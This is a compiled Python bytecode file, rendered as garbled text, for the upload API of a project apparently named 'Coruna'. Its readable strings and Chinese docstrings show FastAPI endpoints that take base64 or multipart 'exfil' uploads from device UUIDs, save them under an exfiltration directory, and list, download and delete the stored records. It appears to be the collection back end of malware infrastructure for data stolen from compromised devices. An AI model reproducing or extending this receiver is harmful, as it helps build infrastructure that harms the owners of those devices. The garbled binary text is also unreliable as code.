+
    Dd>j!                     v   R t ^ RIt^ RIt^ RIHt ^ RIHt ^ RIHtHtH	t	H
t
HtHt ^ RIHt ^ RIHtHt ^ RIHt ^ RIt^ RIt^ RIHt ]! 4       t]! R	R
.R7      tR R lt]P5                  R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! ]4      3
R R ll4       t]P5                  R4      ]! R4      ]! R4      ]! R4      ]! R4      ]! ]4      3R R ll4       t]P;                  R]]P<                  ,          R7      ^ ^d]! ]4      3R R ll4       t]P;                  R]]P<                  ,          R7      ^ ^dR]! ]4      3R R ll4       t ]P;                  R4      ]! ]4      3R R ll4       t!]PE                  R4      ]! ]4      3R  R! ll4       t#R# )"u   数据上传 API 路由N)datetime)Path)	APIRouterDependsHTTPException
UploadFileFileForm)Session)ListOptional)get_db)
get_configz/api/uploadupload)prefixtagsc          
      T    V ^8  d   QhR\         R\         R\         R\         R\         /# )   device_uuidcategoryfilenamecontentreturn)str)formats   "7/Users/wind/Downloads/Coruna-main/backend/api/upload.py__annotate__r      s7     a a a as aS aUX a    c                   \         P                  V ,          V,          pVP                  RRR7       \        P                  ! 4       P                  R4      pV RV 2pWF,          p \        P                  ! V4      p\        VR4      ;_uu_ 4       p	V	P                  V4       RRR4       \        V4      #   + '       g   i     L; i  \         d   p
\        RR\        T
4       2R	7      hRp
?
ii ; i)
u   保存外泄文件到本地Tparentsexist_ok%Y%m%d_%H%M%S_wbNi  z Failed to decode and save file: status_codedetail)config	EXFIL_DIRmkdirr   nowstrftimebase64	b64decodeopenwriter   	Exceptionr   )r   r   r   r   
device_dir	timestampsafe_filename	file_path	file_datafes   &&&&       r   save_exfil_filer9      s     !!K/(:JTD1 ''8I k8*-M*Ia$$W-	)T""aGGI #9~ #"  a6VWZ[\W]V^4_``as0   &*C B5"C 5C	 C C1C,,C1 .c                *   V ^8  d   QhR\         R\         R\        \         ,          R\        \         ,          R\        \        ,          R\        \         ,          R\        \         ,          R\        \         ,          R	\        \        ,          R
\        /
# )r   r   r   pathdescription	file_sizer   	mime_typemetadatatask_iddb)r   r   intr
   )r   s   "r   r   r   )   s     3F 3F3F3F 3-3F #	3F
 }3F c]3F }3F sm3F c]3F 	3Fr   c
                   \         P                  ! W4      p
V
'       g   \        RRR7      hRpV'       d<   V'       d    \        P                  P                  V4      MV RV  R2p\        WW4      p^ RIpRpV'       d    VP                  V4      p\        P                  ! T TTTTV'       d
   VR,          MRVVVR7	      p\         P                  ! WVR	7      pR
RRVP                  RV/#   TP                   d     Lmi ; i)u<   
通用数据上传接口
支持base64编码的内容上传
  Device not foundr%   Nr#   z.bin:Ni   N)	r   r   r<   r=   r>   r   r?   r@   rA   r5   okTexfil_idr5   )crud
get_devicer   osr<   basenamer9   jsonloadsJSONDecodeErrorschemasExfilUploadcreate_exfilid)r   r   r<   r=   r>   r   r?   r@   rA   rB   devicer5   r   rN   parsed_metadata
exfil_dataexfils   &&&&&&&&&&       r   upload_exfilrY   (   s    $ __R-F4FGG I-1277##D)(1[MQU7V#K8M	 O	"jj2O
 $$")t 
J b	BE$
EHHk9EE% ## 		s    C+ +C?>C?z/filec          
      j    V ^8  d   QhR\         R\         R\        \         ,          R\        R\        /# )r   r   r   r<   filerB   )r   r   r   r
   )r   s   "r   r   r   `   sE     .K .K.K.K 3-.K 	.K
 	.Kr   c                  "   \         P                  ! W@4      pV'       g   \        RRR7      hVP                  4       G Rj  xL
 p\	        V4      \
        P                  8  d   \        RRR7      h\
        P                  V ,          V,          pVP                  RRR7       \        P                  ! 4       P                  R	4      pV R
VP                   2p	Wy,          p
\        V
R4      ;_uu_ 4       pVP                  V4       RRR4       \        P                   ! T TT;'       g    VP                  RVP                   2\	        V4      V'       d,   \"        P$                  ! VR,          4      P'                  4       MRVP(                  RR7      p\         P*                  ! WL\-        V
4      R7      pRRRVP.                  R\-        V
4      /#  EL  + '       g   i     L; i5i)u:   
文件上传接口
支持multipart/form-data文件上传
rE   rF   r%   Ni  zFile too largeTr   r"   r#   r$   zUploaded file: :Ni   N)r   r   r<   r=   r>   r   r?   rA   rG   rH   rI   r5   )rJ   rK   r   readlenr(   MAX_UPLOAD_SIZEr)   r*   r   r+   r,   r   r/   r0   rQ   rR   r-   	b64encodedecodecontent_typerS   r   rT   )r   r   r<   r[   rB   rU   file_contentr2   r3   r4   r5   r7   rW   rX   s   &&&&&         r   upload_filerd   _   s}     __R-F4FGG $L
<61114DEE !!K/(:JTD1''8I k4==/2M*I	i		!	 
 $$""T]]%dmm_5l#AM  d!34;;=SW##	J bIGE$
EHHk3y>JJ; % 
	s1   ?G$GB1G$3G"G$(B'G$G!	G$z/list/{device_uuid})response_modelc                H    V ^8  d   QhR\         R\        R\        R\        /# )r   r   skiplimitrB   )r   rC   r
   )r   s   "r   r   r      s.     J J3 Jc Jc JW Jr   c                    \         P                  ! W04      pV'       g   \        RRR7      h\         P                  ! W0WR7      # )u   获取设备外泄数据列表rE   rF   r%   rg   rh   )rJ   rK   r   get_device_exfil)r   rg   rh   rB   rU   s   &&&& r   list_device_exfilrl      s6     __R-F4FGG  tIIr   z/listc                H    V ^8  d   QhR\         R\         R\        R\        /# )r   rg   rh   r   rB   )rC   r   r
   )r   s   "r   r   r      s(     6 6 6 6c 6g 6r   c                r    V'       d   \         P                  ! W2WR7      # \         P                  ! W0VR7      # )u   获取所有外泄数据列表rj   )rJ   get_exfil_by_category	get_exfil)rg   rh   r   rB   s   &&&&r   list_all_exfilrq      s+     ))"TOO>>"u55r   z/download/{exfil_id}c                0    V ^8  d   QhR\         R\        /# r   rI   rB   rC   r
   )r   s   "r   r   r      s      S g r   c                B   ^ RI Hp VP                  \        RR.R7      P                  4      P                  \        RR.R7      P                  P                  V 8H  4      P                  4       pV'       g   \        RRR7      hVP                  '       d0   \        P                  P                  VP                  4      '       g   \        RRR7      hT! VP                  \        P                  P                  VP                  4      VP                  ;'       g    R	R
7      # )u   下载外泄文件)FileResponse..modelsExfilfromlistrE   Exfil record not foundr%   zFile not foundzapplication/octet-stream)r   
media_type)fastapi.responsesrv   query
__import__rx   filterrT   firstr   r5   rL   r<   existsrM   r?   )rI   rB   rv   rX   s   &&  r   download_exfilr      s     /HHZ
gY?EEFMM:	288;;xGeg 
 4LMM???"''.."A"A4DEE!!%//2??@@&@ r   z/{exfil_id}c                0    V ^8  d   QhR\         R\        /# rs   rt   )r   s   "r   r   r      s     ; ;3 ;G ;r   c                   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  4       pV'       g   \        RRR7      hVP                  '       dQ   \        P                  P                  VP                  4      '       d"    \        P                  ! VP                  4       VP                  V4       VP                  4        RRR	R
/#   \         d     L4i ; i)u   删除外泄记录rw   rx   ry   rE   r{   r%   rH   TmessagezExfil record deleted)r   rx   r~   r   rT   r   r   r5   rL   r<   r   remover1   deletecommit)rI   rB   rx   rX   s   &&  r   delete_exfilr      s     zWI6<<EHHUO""588x#78>>@E4LMM 277>>%//::	IIeoo&
 IIeIIK$	#9::  		s   + C2 2D ?D )$__doc__r-   rL   r   pathlibr   fastapir   r   r   r   r   r	   sqlalchemy.ormr
   typingr   r   databaser   rJ   rQ   r(   r   routerr9   postrY   rd   getExfilOutrl   rq   r   r   r    r   r   <module>r      s     	   M M " !   		-xj	9a* RCyIt*!%d#Dz!$Z#Dz"4j!$Z&/3F 3Fl WCyIt*Cy&/.K .Kb !$w7G7G2HI45CW^_eWf J JJ GD)9)9$:; sDX_`fXg 6 <6 "#07  $* }.5fo ; ;r   